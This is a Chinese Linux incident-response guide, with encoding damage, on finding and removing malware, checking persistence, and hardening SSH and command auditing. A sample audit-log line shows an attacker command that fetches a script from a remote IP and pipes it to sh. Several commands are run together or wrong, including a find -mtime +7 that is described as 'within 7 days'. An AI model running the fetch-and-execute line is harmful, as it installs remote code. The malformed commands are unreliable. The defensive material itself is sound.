超全面的Linux應(yīng)急響應(yīng)技巧
概述
Linux環(huán)境下處理應(yīng)急響應(yīng)事件往往會(huì)更加的棘手,因?yàn)橄啾扔赪indows,Linux沒(méi)有像Autorun、procexp這樣的應(yīng)急響應(yīng)利器,也沒(méi)有統(tǒng)一的應(yīng)急響應(yīng)處理流程。所以,這篇文章將會(huì)對(duì)Linux環(huán)境下的應(yīng)急響應(yīng)流程進(jìn)行講解,并且提供每一個(gè)環(huán)節(jié)中所用到的shell命令,以幫助大家快速、系統(tǒng)化地處理Linux環(huán)境下的病毒。
處理Linux應(yīng)急響應(yīng)主要分為這4個(gè)環(huán)節(jié):識(shí)別現(xiàn)象-> 清除病毒-> 閉環(huán)兜底-> 系統(tǒng)加固。
首先從用戶(hù)場(chǎng)景的主機(jī)異?,F(xiàn)象出發(fā),先識(shí)別出病毒的可疑現(xiàn)象。
然后定位到具體的病毒進(jìn)程以及病毒文件,進(jìn)行清除。
完成前2步還不夠,病毒一般會(huì)通過(guò)一些自啟動(dòng)項(xiàng)及守護(hù)程序進(jìn)行重復(fù)感染,所以我們要執(zhí)行閉環(huán)兜底確保病毒不再被創(chuàng)建。
將主機(jī)上的病毒項(xiàng)清除干凈后,最后就是進(jìn)行系統(tǒng)加固了,防止病毒從Web再次入侵進(jìn)來(lái)。
走完這4個(gè)環(huán)節(jié),才能算是一個(gè)應(yīng)急響應(yīng)流程的結(jié)束。
識(shí)別現(xiàn)象
第1個(gè)環(huán)節(jié)要求我們通過(guò)系統(tǒng)運(yùn)行狀態(tài)、安全設(shè)備告警,發(fā)現(xiàn)主機(jī)異?,F(xiàn)象,以及確認(rèn)病毒的可疑行為。
系統(tǒng)CPU是否異常
枚舉進(jìn)程,CPU降序排序:top
CPU占用率超過(guò)70%且名字比較可疑的進(jìn)程,大概率就是挖礦病毒了。
是否存在可疑進(jìn)程
枚舉進(jìn)程命令行:ps -aux
病毒一般都攜帶可疑的命令行,當(dāng)你發(fā)現(xiàn)命令行中帶有url等奇怪的字符串時(shí),就要注意了,它很可能是個(gè)病毒downloader。
安全網(wǎng)關(guān)有無(wú)報(bào)警
從安全網(wǎng)關(guān)報(bào)警中識(shí)別出威脅是最直接,但確認(rèn)主機(jī)已經(jīng)感染了病毒只是第一步,接下來(lái)得定位,具體是哪個(gè)進(jìn)程在與C&C通信。
監(jiān)控與目標(biāo)IP通信的進(jìn)程:
while true; do netstat -antp | grep [ip]; done
有時(shí)安全網(wǎng)關(guān)檢測(cè)到的不全是惡意IP,還有可能是個(gè)域名,這種情況下,域名對(duì)應(yīng)的IP是變化的,我們不能直接用上述方法進(jìn)行監(jiān)控。
我們可以先在host文件中添加一條規(guī)則,將惡意域名重定向到一個(gè)隨機(jī)的IP地址,然后對(duì)其進(jìn)行監(jiān)控。
這樣就能得到與之通信的惡意進(jìn)程了。
有無(wú)可疑歷史命令
遍歷主機(jī)歷史命令,查找有無(wú)惡意命令:history
清除病毒
從第1個(gè)環(huán)節(jié)追溯到的進(jìn)程信息,將會(huì)幫助我們定位到病毒進(jìn)程&病毒文件,實(shí)現(xiàn)清除。
結(jié)束病毒進(jìn)程
清除可疑進(jìn)程的進(jìn)程鏈:
- ps -elf | grep [pid] kill -9 [pid]
刪除病毒文件
定位病毒進(jìn)程對(duì)應(yīng)的文件路徑:
- ls -al /proc/[pid]/exe rm -f [exe_path]
閉環(huán)兜底
Linux下的病毒持久化駐留方式相比于Windows較少,主要以下4種方式。
檢查是否存在可疑定時(shí)任務(wù)
枚舉定時(shí)任務(wù):crontab-l
查看anacron異步定時(shí)任務(wù):cat/etc/anacrontab
檢查是否存在可疑服務(wù)
枚舉主機(jī)所有服務(wù),查看是否有惡意服務(wù):
- service--status-all
檢查系統(tǒng)文件是否被劫持
枚舉系統(tǒng)文件夾的文件,按修改事件排序查看7天內(nèi)被修改過(guò)的文件:
- find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
檢查是否存在病毒守護(hù)進(jìn)程
監(jiān)控守護(hù)進(jìn)程的行為:lsof-p[pid]
- strace-tt-T -etrace=all-p$pid
掃描是否存在惡意驅(qū)動(dòng)
枚舉/掃描系統(tǒng)驅(qū)動(dòng):lsmod
安裝chkrootkit進(jìn)行掃描:
- wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit
安裝rkhunter進(jìn)行掃描:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c
最后一個(gè)環(huán)節(jié)往往是大家比較容易遺忘的,Linux平臺(tái)下90%的病毒是通過(guò)網(wǎng)絡(luò)傳播感染的,所以,你的主機(jī)之所以會(huì)感染病毒,大部分原因也是因?yàn)閃eb安全防護(hù)不夠,趕緊檢查一下。
修改SSH弱密碼
查詢(xún)log主機(jī)登陸日志:
- grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
定位有爆破的源IP:
- grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破日志的用戶(hù)名密碼:
- grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
SSH爆破是Linux病毒最常用的傳播手段,若存在弱密碼的主機(jī)很容易被其他感染主機(jī)SSH爆破成功,從而再次感染病毒。
添加命令審計(jì)
為歷史的命令增加登錄的IP地址、執(zhí)行命令時(shí)間等信息:
[1]保存1萬(wàn)條命令:
- sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
[2]在/etc/profile的文件尾部添加如下行數(shù)配置信息:
- USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
- if [ "$USER_IP" = "" ]
- then
- USER_IP=`hostname`
- fi
- export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
- shopt -s histappend
- export PROMPT_COMMAND="history -a"
[3]讓配置生效:
- source /etc/profile
生成效果:
- 762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-<a href="http://103.219.112.66:8000/i.sh">http://103.219.112.66:8000/i.sh</a>) | sh
打上常見(jiàn)Web漏洞補(bǔ)丁
- structs2系列RCE漏洞
- thinkphp5.XRCE漏洞
- Redis未授權(quán)訪(fǎng)問(wèn)漏洞
- ConfluenceRCE漏洞(CVE_2019_3396)
- DrupalRCE漏洞(CVE-2018-7600)
- ThinkPHPRCE漏洞(CVE-2019-9082)
結(jié)尾
Linux平臺(tái)下的惡意軟件威脅以僵尸網(wǎng)絡(luò)蠕蟲(chóng)和挖礦病毒為主,由于Linux大多作為服務(wù)器暴露在公網(wǎng),且Web應(yīng)用的漏洞層出不窮,所以很容易被大范圍入侵,如常見(jiàn)的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要養(yǎng)成不使用弱密碼、勤打補(bǔ)丁的好習(xí)慣。